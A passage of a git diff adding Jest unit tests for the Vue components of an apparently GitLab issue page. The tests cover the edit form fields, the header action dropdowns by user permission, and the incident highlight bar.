+ updatedByName: 'Some User',
+ updatedByPath: '/some_user',
+ },
+ }).$mount();
+
+ expect(formatText(editedComponent.$el.innerText)).toMatch(/Edited[\s\S]+?by Some User/);
+ expect(editedComponent.$el.querySelector('.author-link').href).toMatch(/\/some_user$/);
+ expect(editedComponent.$el.querySelector('time')).toBeTruthy();
+ });
+
+ it('if no updatedAt is provided, no time element will be rendered', () => {
+ const editedComponent = new EditedComponent({
+ propsData: {
+ updatedByName: 'Some User',
+ updatedByPath: '/some_user',
+ },
+ }).$mount();
+
+ expect(formatText(editedComponent.$el.innerText)).toMatch(/Edited by Some User/);
+ expect(editedComponent.$el.querySelector('.author-link').href).toMatch(/\/some_user$/);
+ expect(editedComponent.$el.querySelector('time')).toBeFalsy();
+ });
+
+ it('if no updatedByName and updatedByPath is provided, no user element will be rendered', () => {
+ const editedComponent = new EditedComponent({
+ propsData: {
+ updatedAt: '2017-05-15T12:31:04.428Z',
+ },
+ }).$mount();
+
+ expect(formatText(editedComponent.$el.innerText)).not.toMatch(/by Some User/);
+ expect(editedComponent.$el.querySelector('.author-link')).toBeFalsy();
+ expect(editedComponent.$el.querySelector('time')).toBeTruthy();
+ });
+});
diff --git a/spec/frontend/issues/show/components/fields/description_spec.js b/spec/frontend/issues/show/components/fields/description_spec.js
new file mode 100644
index 00000000000..3043c4c3673
--- /dev/null
+++ b/spec/frontend/issues/show/components/fields/description_spec.js
@@ -0,0 +1,70 @@
+import { shallowMount } from '@vue/test-utils';
+import DescriptionField from '~/issues/show/components/fields/description.vue';
+import eventHub from '~/issues/show/event_hub';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+
+describe('Description field component', () => {
+ let wrapper;
+
+ const findTextarea = () => wrapper.find({ ref: 'textarea' });
+
+ const mountComponent = (description = 'test') =>
+ shallowMount(DescriptionField, {
+ attachTo: document.body,
+ propsData: {
+ markdownPreviewPath: '/',
+ markdownDocsPath: '/',
+ formState: {
+ description,
+ },
+ },
+ stubs: {
+ MarkdownField,
+ },
+ });
+
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit');
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders markdown field with description', () => {
+ wrapper = mountComponent();
+
+ expect(findTextarea().element.value).toBe('test');
+ });
+
+ it('renders markdown field with a markdown description', () => {
+ const markdown = '**test**';
+
+ wrapper = mountComponent(markdown);
+
+ expect(findTextarea().element.value).toBe(markdown);
+ });
+
+ it('focuses field when mounted', () => {
+ wrapper = mountComponent();
+
+ expect(document.activeElement).toBe(findTextarea().element);
+ });
+
+ it('triggers update with meta+enter', () => {
+ wrapper = mountComponent();
+
+ findTextarea().trigger('keydown.enter', { metaKey: true });
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ });
+
+ it('triggers update with ctrl+enter', () => {
+ wrapper = mountComponent();
+
+ findTextarea().trigger('keydown.enter', { ctrlKey: true });
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ });
+});
diff --git a/spec/frontend/issues/show/components/fields/description_template_spec.js b/spec/frontend/issues/show/components/fields/description_template_spec.js
new file mode 100644
index 00000000000..abe2805e5b2
--- /dev/null
+++ b/spec/frontend/issues/show/components/fields/description_template_spec.js
@@ -0,0 +1,74 @@
+import Vue from 'vue';
+import descriptionTemplate from '~/issues/show/components/fields/description_template.vue';
+
+describe('Issue description template component with templates as hash', () => {
+ let vm;
+ let formState;
+
+ beforeEach(() => {
+ const Component = Vue.extend(descriptionTemplate);
+ formState = {
+ description: 'test',
+ };
+
+ vm = new Component({
+ propsData: {
+ formState,
+ issuableTemplates: {
+ test: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
+ },
+ projectId: 1,
+ projectPath: '/',
+ namespacePath: '/',
+ projectNamespace: '/',
+ },
+ }).$mount();
+ });
+
+ it('renders templates as JSON hash in data attribute', () => {
+ expect(vm.$el.querySelector('.js-issuable-selector').getAttribute('data-data')).toBe(
+ '{"test":[{"name":"test","id":"test","project_path":"/","namespace_path":"/"}]}',
+ );
+ });
+
+ it('updates formState when changing template', () => {
+ vm.issuableTemplate.editor.setValue('test new template');
+
+ expect(formState.description).toBe('test new template');
+ });
+
+ it('returns formState description with editor getValue', () => {
+ formState.description = 'testing new template';
+
+ expect(vm.issuableTemplate.editor.getValue()).toBe('testing new template');
+ });
+});
+
+describe('Issue description template component with templates as array', () => {
+ let vm;
+ let formState;
+
+ beforeEach(() => {
+ const Component = Vue.extend(descriptionTemplate);
+ formState = {
+ description: 'test',
+ };
+
+ vm = new Component({
+ propsData: {
+ formState,
+ issuableTemplates: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
+ projectId: 1,
+ projectPath: '/',
+ namespacePath: '/',
+ projectNamespace: '/',
+ },
+ }).$mount();
+ });
+
+ it('renders templates as JSON array in data attribute', () => {
+ expect(vm.$el.querySelector('.js-issuable-selector').getAttribute('data-data')).toBe(
+ '[{"name":"test","id":"test","project_path":"/","namespace_path":"/"}]',
+ );
+ });
+});
diff --git a/spec/frontend/issues/show/components/fields/title_spec.js b/spec/frontend/issues/show/components/fields/title_spec.js
new file mode 100644
index 00000000000..efd0b6fbd30
--- /dev/null
+++ b/spec/frontend/issues/show/components/fields/title_spec.js
@@ -0,0 +1,42 @@
+import { shallowMount } from '@vue/test-utils';
+import TitleField from '~/issues/show/components/fields/title.vue';
+import eventHub from '~/issues/show/event_hub';
+
+describe('Title field component', () => {
+ let wrapper;
+
+ const findInput = () => wrapper.find({ ref: 'input' });
+
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit');
+
+ wrapper = shallowMount(TitleField, {
+ propsData: {
+ formState: {
+ title: 'test',
+ },
+ },
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders form control with formState title', () => {
+ expect(findInput().element.value).toBe('test');
+ });
+
+ it('triggers update with meta+enter', () => {
+ findInput().trigger('keydown.enter', { metaKey: true });
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ });
+
+ it('triggers update with ctrl+enter', () => {
+ findInput().trigger('keydown.enter', { ctrlKey: true });
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ });
+});
diff --git a/spec/frontend/issues/show/components/fields/type_spec.js b/spec/frontend/issues/show/components/fields/type_spec.js
new file mode 100644
index 00000000000..3ece10e70db
--- /dev/null
+++ b/spec/frontend/issues/show/components/fields/type_spec.js
@@ -0,0 +1,120 @@
+import { GlFormGroup, GlDropdown, GlDropdownItem, GlIcon } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import IssueTypeField, { i18n } from '~/issues/show/components/fields/type.vue';
+import { IssuableTypes } from '~/issues/show/constants';
+import {
+ getIssueStateQueryResponse,
+ updateIssueStateQueryResponse,
+} from '../../mock_data/apollo_mock';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('Issue type field component', () => {
+ let wrapper;
+ let fakeApollo;
+ let mockIssueStateData;
+
+ const mockResolvers = {
+ Query: {
+ issueState() {
+ return {
+ __typename: 'IssueState',
+ rawData: mockIssueStateData(),
+ };
+ },
+ },
+ Mutation: {
+ updateIssueState: jest.fn().mockResolvedValue(updateIssueStateQueryResponse),
+ },
+ };
+
+ const findTypeFromGroup = () => wrapper.findComponent(GlFormGroup);
+ const findTypeFromDropDown = () => wrapper.findComponent(GlDropdown);
+ const findTypeFromDropDownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findTypeFromDropDownItemAt = (at) => findTypeFromDropDownItems().at(at);
+ const findTypeFromDropDownItemIconAt = (at) =>
+ findTypeFromDropDownItems().at(at).findComponent(GlIcon);
+
+ const createComponent = ({ data } = {}, provide) => {
+ fakeApollo = createMockApollo([], mockResolvers);
+
+ wrapper = shallowMount(IssueTypeField, {
+ localVue,
+ apolloProvider: fakeApollo,
+ data() {
+ return {
+ issueState: {},
+ ...data,
+ };
+ },
+ provide: {
+ canCreateIncident: true,
+ ...provide,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mockIssueStateData = jest.fn();
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ at | text | icon
+ ${0} | ${IssuableTypes[0].text} | ${IssuableTypes[0].icon}
+ ${1} | ${IssuableTypes[1].text} | ${IssuableTypes[1].icon}
+ `(`renders the issue type $text with an icon in the dropdown`, ({ at, text, icon }) => {
+ expect(findTypeFromDropDownItemIconAt(at).attributes('name')).toBe(icon);
+ expect(findTypeFromDropDownItemAt(at).text()).toBe(text);
+ });
+
+ it('renders a form group with the correct label', () => {
+ expect(findTypeFromGroup().attributes('label')).toBe(i18n.label);
+ });
+
+ it('renders a form select with the `issue_type` value', () => {
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
+ });
+
+ describe('with Apollo cache mock', () => {
+ it('renders the selected issueType', async () => {
+ mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
+ });
+
+ it('updates the `issue_type` in the apollo cache when the value is changed', async () => {
+ findTypeFromDropDownItems().at(1).vm.$emit('click', IssuableTypes.incident);
+ await wrapper.vm.$nextTick();
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.incident);
+ });
+
+ describe('when user is a guest', () => {
+ it('hides the incident type from the dropdown', async () => {
+ createComponent({}, { canCreateIncident: false, issueType: 'issue' });
+ await waitForPromises();
+
+ expect(findTypeFromDropDownItemAt(0).isVisible()).toBe(true);
+ expect(findTypeFromDropDownItemAt(1).isVisible()).toBe(false);
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
+ });
+
+ it('and incident is selected, includes incident in the dropdown', async () => {
+ createComponent({}, { canCreateIncident: false, issueType: 'incident' });
+ await waitForPromises();
+
+ expect(findTypeFromDropDownItemAt(0).isVisible()).toBe(true);
+ expect(findTypeFromDropDownItemAt(1).isVisible()).toBe(true);
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.incident);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/form_spec.js b/spec/frontend/issues/show/components/form_spec.js
new file mode 100644
index 00000000000..db49d2635ba
--- /dev/null
+++ b/spec/frontend/issues/show/components/form_spec.js
@@ -0,0 +1,156 @@
+import { GlAlert } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Autosave from '~/autosave';
+import DescriptionTemplate from '~/issues/show/components/fields/description_template.vue';
+import IssueTypeField from '~/issues/show/components/fields/type.vue';
+import formComponent from '~/issues/show/components/form.vue';
+import LockedWarning from '~/issues/show/components/locked_warning.vue';
+import eventHub from '~/issues/show/event_hub';
+
+jest.mock('~/autosave');
+
+describe('Inline edit form component', () => {
+ let wrapper;
+ const defaultProps = {
+ canDestroy: true,
+ endpoint: 'gitlab-org/gitlab-test/-/issues/1',
+ formState: {
+ title: 'b',
+ description: 'a',
+ lockedWarningVisible: false,
+ },
+ issuableType: 'issue',
+ markdownPreviewPath: '/',
+ markdownDocsPath: '/',
+ projectPath: '/',
+ projectId: 1,
+ projectNamespace: '/',
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const createComponent = (props) => {
+ wrapper = shallowMount(formComponent, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ const findDescriptionTemplate = () => wrapper.findComponent(DescriptionTemplate);
+ const findIssuableTypeField = () => wrapper.findComponent(IssueTypeField);
+ const findLockedWarning = () => wrapper.findComponent(LockedWarning);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
+ it('does not render template selector if no templates exist', () => {
+ createComponent();
+
+ expect(findDescriptionTemplate().exists()).toBe(false);
+ });
+
+ it('renders template selector when templates as array exists', () => {
+ createComponent({
+ issuableTemplates: [
+ { name: 'test', id: 'test', project_path: 'test', namespace_path: 'test' },
+ ],
+ });
+
+ expect(findDescriptionTemplate().exists()).toBe(true);
+ });
+
+ it('renders template selector when templates as hash exists', () => {
+ createComponent({
+ issuableTemplates: {
+ test: [{ name: 'test', id: 'test', project_path: 'test', namespace_path: 'test' }],
+ },
+ });
+
+ expect(findDescriptionTemplate().exists()).toBe(true);
+ });
+
+ it.each`
+ issuableType | value
+ ${'issue'} | ${true}
+ ${'epic'} | ${false}
+ `(
+ 'when `issue_type` is set to "$issuableType" rendering the type select will be "$value"',
+ ({ issuableType, value }) => {
+ createComponent({
+ issuableType,
+ });
+
+ expect(findIssuableTypeField().exists()).toBe(value);
+ },
+ );
+
+ it('hides locked warning by default', () => {
+ createComponent();
+
+ expect(findLockedWarning().exists()).toBe(false);
+ });
+
+ it('shows locked warning if formState is different', () => {
+ createComponent({ formState: { ...defaultProps.formState, lockedWarningVisible: true } });
+
+ expect(findLockedWarning().exists()).toBe(true);
+ });
+
+ it('hides locked warning when currently saving', () => {
+ createComponent({
+ formState: { ...defaultProps.formState, updateLoading: true, lockedWarningVisible: true },
+ });
+
+ expect(findLockedWarning().exists()).toBe(false);
+ });
+
+ describe('autosave', () => {
+ let spy;
+
+ beforeEach(() => {
+ spy = jest.spyOn(Autosave.prototype, 'reset');
+ });
+
+ it('initialized Autosave on mount', () => {
+ createComponent();
+
+ expect(Autosave).toHaveBeenCalledTimes(2);
+ });
+
+ it('calls reset on autosave when eventHub emits appropriate events', () => {
+ createComponent();
+
+ eventHub.$emit('close.form');
+
+ expect(spy).toHaveBeenCalledTimes(2);
+
+ eventHub.$emit('delete.issuable');
+
+ expect(spy).toHaveBeenCalledTimes(4);
+
+ eventHub.$emit('update.issuable');
+
+ expect(spy).toHaveBeenCalledTimes(6);
+ });
+
+ describe('outdated description', () => {
+ it('does not show warning if lock version from server is the same as the local lock version', () => {
+ createComponent();
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('shows warning if lock version from server differs than the local lock version', async () => {
+ Autosave.prototype.getSavedLockVersion.mockResolvedValue('lock version from local storage');
+
+ createComponent({
+ formState: { ...defaultProps.formState, lock_version: 'lock version from server' },
+ });
+
+ await wrapper.vm.$nextTick();
+ expect(findAlert().exists()).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/header_actions_spec.js b/spec/frontend/issues/show/components/header_actions_spec.js
new file mode 100644
index 00000000000..2a16c699c4d
--- /dev/null
+++ b/spec/frontend/issues/show/components/header_actions_spec.js
@@ -0,0 +1,382 @@
+import { GlButton, GlDropdown, GlDropdownItem, GlLink, GlModal } from '@gitlab/ui';
+import Vue from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { mockTracking } from 'helpers/tracking_helper';
+import createFlash, { FLASH_TYPES } from '~/flash';
+import { IssuableType } from '~/vue_shared/issuable/show/constants';
+import DeleteIssueModal from '~/issues/show/components/delete_issue_modal.vue';
+import HeaderActions from '~/issues/show/components/header_actions.vue';
+import { IssuableStatus } from '~/issues/constants';
+import { IssueStateEvent } from '~/issues/show/constants';
+import promoteToEpicMutation from '~/issues/show/queries/promote_to_epic.mutation.graphql';
+import * as urlUtility from '~/lib/utils/url_utility';
+import eventHub from '~/notes/event_hub';
+import createStore from '~/notes/stores';
+
+jest.mock('~/flash');
+
+describe('HeaderActions component', () => {
+ let dispatchEventSpy;
+ let mutateMock;
+ let wrapper;
+ let visitUrlSpy;
+
+ Vue.use(Vuex);
+
+ const store = createStore();
+
+ const defaultProps = {
+ canCreateIssue: true,
+ canDestroyIssue: true,
+ canPromoteToEpic: true,
+ canReopenIssue: true,
+ canReportSpam: true,
+ canUpdateIssue: true,
+ iid: '32',
+ isIssueAuthor: true,
+ issuePath: 'gitlab-org/gitlab-test/-/issues/1',
+ issueType: IssuableType.Issue,
+ newIssuePath: 'gitlab-org/gitlab-test/-/issues/new',
+ projectPath: 'gitlab-org/gitlab-test',
+ reportAbusePath:
+ '-/abuse_reports/new?ref_url=http%3A%2F%2Flocalhost%2Fgitlab-org%2Fgitlab-test%2F-%2Fissues%2F32&user_id=1',
+ submitAsSpamPath: 'gitlab-org/gitlab-test/-/issues/32/submit_as_spam',
+ };
+
+ const updateIssueMutationResponse = { data: { updateIssue: { errors: [] } } };
+
+ const promoteToEpicMutationResponse = {
+ data: {
+ promoteToEpic: {
+ errors: [],
+ epic: {
+ webPath: '/groups/gitlab-org/-/epics/1',
+ },
+ },
+ },
+ };
+
+ const promoteToEpicMutationErrorResponse = {
+ data: {
+ promoteToEpic: {
+ errors: ['The issue has already been promoted to an epic.'],
+ epic: {},
+ },
+ },
+ };
+
+ const findToggleIssueStateButton = () => wrapper.findComponent(GlButton);
+ const findDropdownAt = (index) => wrapper.findAllComponents(GlDropdown).at(index);
+ const findMobileDropdownItems = () => findDropdownAt(0).findAllComponents(GlDropdownItem);
+ const findDesktopDropdownItems = () => findDropdownAt(1).findAllComponents(GlDropdownItem);
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findModalLinkAt = (index) => findModal().findAllComponents(GlLink).at(index);
+
+ const mountComponent = ({
+ props = {},
+ issueState = IssuableStatus.Open,
+ blockedByIssues = [],
+ mutateResponse = {},
+ } = {}) => {
+ mutateMock = jest.fn().mockResolvedValue(mutateResponse);
+
+ store.dispatch('setNoteableData', {
+ blocked_by_issues: blockedByIssues,
+ state: issueState,
+ });
+
+ return shallowMount(HeaderActions, {
+ store,
+ provide: {
+ ...defaultProps,
+ ...props,
+ },
+ mocks: {
+ $apollo: {
+ mutate: mutateMock,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ if (dispatchEventSpy) {
+ dispatchEventSpy.mockRestore();
+ }
+ if (visitUrlSpy) {
+ visitUrlSpy.mockRestore();
+ }
+ wrapper.destroy();
+ });
+
+ describe.each`
+ issueType
+ ${IssuableType.Issue}
+ ${IssuableType.Incident}
+ `('when issue type is $issueType', ({ issueType }) => {
+ describe('close/reopen button', () => {
+ describe.each`
+ description | issueState | buttonText | newIssueState
+ ${`when the ${issueType} is open`} | ${IssuableStatus.Open} | ${`Close ${issueType}`} | ${IssueStateEvent.Close}
+ ${`when the ${issueType} is closed`} | ${IssuableStatus.Closed} | ${`Reopen ${issueType}`} | ${IssueStateEvent.Reopen}
+ `('$description', ({ issueState, buttonText, newIssueState }) => {
+ beforeEach(() => {
+ dispatchEventSpy = jest.spyOn(document, 'dispatchEvent');
+
+ wrapper = mountComponent({
+ props: { issueType },
+ issueState,
+ mutateResponse: updateIssueMutationResponse,
+ });
+ });
+
+ it(`has text "${buttonText}"`, () => {
+ expect(findToggleIssueStateButton().text()).toBe(buttonText);
+ });
+
+ it('calls apollo mutation', () => {
+ findToggleIssueStateButton().vm.$emit('click');
+
+ expect(mutateMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ variables: {
+ input: {
+ iid: defaultProps.iid,
+ projectPath: defaultProps.projectPath,
+ stateEvent: newIssueState,
+ },
+ },
+ }),
+ );
+ });
+
+ it('dispatches a custom event to update the issue page', async () => {
+ findToggleIssueStateButton().vm.$emit('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(dispatchEventSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+ });
+
+ describe.each`
+ description | isCloseIssueItemVisible | findDropdownItems
+ ${'mobile dropdown'} | ${true} | ${findMobileDropdownItems}
+ ${'desktop dropdown'} | ${false} | ${findDesktopDropdownItems}
+ `('$description', ({ isCloseIssueItemVisible, findDropdownItems }) => {
+ describe.each`
+ description | itemText | isItemVisible | canUpdateIssue | canCreateIssue | isIssueAuthor | canReportSpam | canPromoteToEpic | canDestroyIssue
+ ${`when user can update ${issueType}`} | ${`Close ${issueType}`} | ${isCloseIssueItemVisible} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${`when user cannot update ${issueType}`} | ${`Close ${issueType}`} | ${false} | ${false} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${`when user can create ${issueType}`} | ${`New ${issueType}`} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${`when user cannot create ${issueType}`} | ${`New ${issueType}`} | ${false} | ${true} | ${false} | ${true} | ${true} | ${true} | ${true}
+ ${'when user can promote to epic'} | ${'Promote to epic'} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${'when user cannot promote to epic'} | ${'Promote to epic'} | ${false} | ${true} | ${true} | ${true} | ${true} | ${false} | ${true}
+ ${'when user can report abuse'} | ${'Report abuse'} | ${true} | ${true} | ${true} | ${false} | ${true} | ${true} | ${true}
+ ${'when user cannot report abuse'} | ${'Report abuse'} | ${false} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${'when user can submit as spam'} | ${'Submit as spam'} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${'when user cannot submit as spam'} | ${'Submit as spam'} | ${false} | ${true} | ${true} | ${true} | ${false} | ${true} | ${true}
+ ${`when user can delete ${issueType}`} | ${`Delete ${issueType}`} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true} | ${true}
+ ${`when user cannot delete ${issueType}`} | ${`Delete ${issueType}`} | ${false} | ${true} | ${true} | ${true} | ${true} | ${true} | ${false}
+ `(
+ '$description',
+ ({
+ itemText,
+ isItemVisible,
+ canUpdateIssue,
+ canCreateIssue,
+ isIssueAuthor,
+ canReportSpam,
+ canPromoteToEpic,
+ canDestroyIssue,
+ }) => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ props: {
+ canUpdateIssue,
+ canCreateIssue,
+ isIssueAuthor,
+ issueType,
+ canReportSpam,
+ canPromoteToEpic,
+ canDestroyIssue,
+ },
+ });
+ });
+
+ it(`${isItemVisible ? 'shows' : 'hides'} "${itemText}" item`, () => {
+ expect(
+ findDropdownItems()
+ .filter((item) => item.text() === itemText)
+ .exists(),
+ ).toBe(isItemVisible);
+ });
+ },
+ );
+ });
+ });
+
+ describe('delete issue button', () => {
+ let trackingSpy;
+
+ beforeEach(() => {
+ wrapper = mountComponent();
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ });
+
+ it('tracks clicking on button', () => {
+ findDesktopDropdownItems().at(3).vm.$emit('click');
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_dropdown', {
+ label: 'delete_issue',
+ });
+ });
+ });
+
+ describe('when "Promote to epic" button is clicked', () => {
+ describe('when response is successful', () => {
+ beforeEach(() => {
+ visitUrlSpy = jest.spyOn(urlUtility, 'visitUrl').mockReturnValue({});
+
+ wrapper = mountComponent({
+ mutateResponse: promoteToEpicMutationResponse,
+ });
+
+ wrapper.find('[data-testid="promote-button"]').vm.$emit('click');
+ });
+
+ it('invokes GraphQL mutation when clicked', () => {
+ expect(mutateMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ mutation: promoteToEpicMutation,
+ variables: {
+ input: {
+ iid: defaultProps.iid,
+ projectPath: defaultProps.projectPath,
+ },
+ },
+ }),
+ );
+ });
+
+ it('shows a success message and tells the user they are being redirected', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'The issue was successfully promoted to an epic. Redirecting to epic...',
+ type: FLASH_TYPES.SUCCESS,
+ });
+ });
+
+ it('redirects to newly created epic path', () => {
+ expect(visitUrlSpy).toHaveBeenCalledWith(
+ promoteToEpicMutationResponse.data.promoteToEpic.epic.webPath,
+ );
+ });
+ });
+
+ describe('when response contains errors', () => {
+ beforeEach(() => {
+ visitUrlSpy = jest.spyOn(urlUtility, 'visitUrl').mockReturnValue({});
+
+ wrapper = mountComponent({
+ mutateResponse: promoteToEpicMutationErrorResponse,
+ });
+
+ wrapper.find('[data-testid="promote-button"]').vm.$emit('click');
+ });
+
+ it('shows an error message', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: HeaderActions.i18n.promoteErrorMessage,
+ });
+ });
+ });
+ });
+
+ describe('when `toggle.issuable.state` event is emitted', () => {
+ it('invokes a method to toggle the issue state', () => {
+ wrapper = mountComponent({ mutateResponse: updateIssueMutationResponse });
+
+ eventHub.$emit('toggle.issuable.state');
+
+ expect(mutateMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ variables: {
+ input: {
+ iid: defaultProps.iid,
+ projectPath: defaultProps.projectPath,
+ stateEvent: IssueStateEvent.Close,
+ },
+ },
+ }),
+ );
+ });
+ });
+
+ describe('blocked by issues modal', () => {
+ const blockedByIssues = [
+ { iid: 13, web_url: 'gitlab-org/gitlab-test/-/issues/13' },
+ { iid: 79, web_url: 'gitlab-org/gitlab-test/-/issues/79' },
+ ];
+
+ beforeEach(() => {
+ wrapper = mountComponent({ blockedByIssues });
+ });
+
+ it('has title text', () => {
+ expect(findModal().attributes('title')).toBe(
+ 'Are you sure you want to close this blocked issue?',
+ );
+ });
+
+ it('has body text', () => {
+ expect(findModal().text()).toContain(
+ 'This issue is currently blocked by the following issues:',
+ );
+ });
+
+ it('calls apollo mutation when primary button is clicked', () => {
+ findModal().vm.$emit('primary');
+
+ expect(mutateMock).toHaveBeenCalledWith(
+ expect.objectContaining({
+ variables: {
+ input: {
+ iid: defaultProps.iid.toString(),
+ projectPath: defaultProps.projectPath,
+ stateEvent: IssueStateEvent.Close,
+ },
+ },
+ }),
+ );
+ });
+
+ describe.each`
+ ordinal | index
+ ${'first'} | ${0}
+ ${'second'} | ${1}
+ `('$ordinal blocked-by issue link', ({ index }) => {
+ it('has link text', () => {
+ expect(findModalLinkAt(index).text()).toBe(`#${blockedByIssues[index].iid}`);
+ });
+
+ it('has url', () => {
+ expect(findModalLinkAt(index).attributes('href')).toBe(blockedByIssues[index].web_url);
+ });
+ });
+ });
+
+ describe('delete issue modal', () => {
+ it('renders', () => {
+ wrapper = mountComponent();
+
+ expect(wrapper.findComponent(DeleteIssueModal).props()).toEqual({
+ issuePath: defaultProps.issuePath,
+ issueType: defaultProps.issueType,
+ modalId: HeaderActions.deleteModalId,
+ title: 'Delete issue',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/incidents/highlight_bar_spec.js b/spec/frontend/issues/show/components/incidents/highlight_bar_spec.js
new file mode 100644
index 00000000000..a4910d63bb5
--- /dev/null
+++ b/spec/frontend/issues/show/components/incidents/highlight_bar_spec.js
@@ -0,0 +1,94 @@
+import { GlLink } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import merge from 'lodash/merge';
+import HighlightBar from '~/issues/show/components/incidents/highlight_bar.vue';
+import { formatDate } from '~/lib/utils/datetime_utility';
+
+jest.mock('~/lib/utils/datetime_utility');
+
+describe('Highlight Bar', () => {
+ let wrapper;
+
+ const alert = {
+ iid: 1,
+ startedAt: '2020-05-29T10:39:22Z',
+ detailsUrl: 'http://127.0.0.1:3000/root/unique-alerts/-/alert_management/1/details',
+ eventCount: 1,
+ title: 'Alert 1',
+ };
+
+ const mountComponent = (options) => {
+ wrapper = shallowMount(
+ HighlightBar,
+ merge(
+ {
+ propsData: { alert },
+ provide: { fullPath: 'test', iid: 1, slaFeatureAvailable: true },
+ },
+ options,
+ ),
+ );
+ };
+
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findLink = () => wrapper.find(GlLink);
+
+ describe('empty state', () => {
+ beforeEach(() => {
+ mountComponent({ propsData: { alert: null } });
+ });
+
+ it('renders a empty component', () => {
+ expect(wrapper.isVisible()).toBe(false);
+ });
+ });
+
+ describe('alert present', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('renders a link to the alert page', () => {
+ expect(findLink().exists()).toBe(true);
+ expect(findLink().attributes('href')).toBe(alert.detailsUrl);
+ expect(findLink().attributes('title')).toBe(alert.title);
+ expect(findLink().text()).toBe(`#${alert.iid}`);
+ });
+
+ it('renders formatted start time of the alert', () => {
+ const formattedDate = '2020-05-29 UTC';
+ formatDate.mockReturnValueOnce(formattedDate);
+ mountComponent();
+ expect(formatDate).toHaveBeenCalledWith(alert.startedAt, 'yyyy-mm-dd Z');
+ expect(wrapper.text()).toContain(formattedDate);
+ });
+
+ it('renders a number of alert events', () => {
+ expect(wrapper.text()).toContain(alert.eventCount);
+ });
+ });
+
+ describe('when child data is present', () => {
+ beforeEach(() => {
+ mountComponent({
+ data() {
+ return { hasChildData: true };
+ },
+ });
+ });
+
+ it('renders the highlight bar component', () => {
+ expect(wrapper.isVisible()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/issues/show/components/incidents/incident_tabs_spec.js b/spec/frontend/issues/show/components/incidents/incident_tabs_spec.js
new file mode 100644
index 00000000000..9bf0e106194
--- /dev/null
+++ b/spec/frontend/issues/show/components/incidents/incident_tabs_spec.js
@@ -0,0 +1,143 @@
+import { GlTab } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import merge from 'lodash/merge';
+import waitForPromises from 'helpers/wait_for_promises';
+import { trackIncidentDetailsViewsOptions } from '~/incidents/constants';
+import DescriptionComponent from '~/issues/show/components/description.vue';
+import HighlightBar from '~/issues/show/components/incidents/highlight_bar.vue';
+import IncidentTabs from '~/issues/show/components/incidents/incident_tabs.vue';
+import INVALID_URL from '~/lib/utils/invalid_url';
+import Tracking from '~/tracking';
+import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
+import { descriptionProps } from '../../mock_data/mock_data';
+
+const mockAlert = {
+ __typename: 'AlertManagementAlert',
+ detailsUrl: INVALID_URL,
+ iid: '1',
+};
+
+describe('Incident Tabs component', () => {
+ let wrapper;
+
